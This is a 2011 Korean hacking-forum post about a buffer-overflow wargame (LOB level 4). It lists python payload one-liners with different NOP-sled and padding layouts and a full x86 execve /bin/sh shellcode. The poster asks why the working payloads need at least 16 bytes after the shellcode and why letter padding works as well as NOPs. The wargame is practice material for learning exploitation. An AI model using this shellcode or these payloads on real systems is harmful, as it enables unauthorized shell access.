|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3213 [복사]
*LOB 문제4에서 BUFFER가 [40Byte]이고, 일반적인 버퍼 오버플로우 방식으로 셸코드를 삽입하여
문제를 풀었을때 다음과 같은 사항이 있는데요.
궁금한것 하나)
아래와 같이 셸코드 오른쪽 어떠한 값(예:NOP)을 채울때
한가지 조건이 꼭 뒤에는 16Byte 이상 되야 한다는 것입니다.
* ⑤, ⑥ 번과 같이 셸코드 오른쪽에 16Byte일때만 정상적으로 셸권한을 따낼수 있었습니다..
___________________________________________________________
①[NOP*20] + [셸코드] + [RET] (X)
$(python -c 'print "\x90"*20 + "셸코드" + "RET 주소"')
②[NOP*16] + [셸코드] + [NOP*4] + [RET] (X)
$(python -c 'print "\x90"*16 + "셸코드" + "\x90"*4 + "RET 주소"')
③[NOP*12] + [셸코드] + [NOP*8] + [RET] (X)
$(python -c 'print "\x90"*12 + "셸코드" + "\x90"*8 + "RET 주소"')
④[NOP*8] + [셸코드] + [NOP*12] + [RET] (X)
$(python -c 'print "\x90"*8 + "셸코드" + "\x90"*12 + "RET 주소"')
⑤[NOP*4] + [셸코드] + [NOP*16] + [RET] (O)
$(python -c 'print "\x90"*4 + "셸코드" + "\x90"*16 + "RET 주소"')
⑥[셸코드] + [NOP*20] + [RET] (O)
$(python -c 'print "셸코드" + "\x90"*20 + "RET 주소"')
___________________________________________________________
사용한 셸코드 :
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
___________________________________________________________
[BUFFER (40Byte)] + [EBP(4Byte)] + [RET (4Byte)]
[ NOP + 셸코드 + NOP + RET주소 ]
-----------------------------------------------------------
궁금한것 두울)
*그러나 위처럼 NOP 썰매를 쓰지 않고 영문자 스페링도 되더군요.
예 )
["A"*4] + [셸코드] + ["A"*16] + [RET] (O)
["B"*4] + [셸코드] + ["B"*16] + [RET] (O)
["C"*4] + [셸코드] + ["C"*16] + [RET] (O)
[셸코드] + ["Z"*20] + [RET] (O)
------------------------------------------------------------------------------------
(※. LOB문제4에서만 그런것은 아닙니다.)
그러나 정확한 이유를 모르겠네요!
좋은 답변 기다립니다. 좋은 하루 되세요^^
|
Hit : 3755 Date : 2011/06/01 06:30
|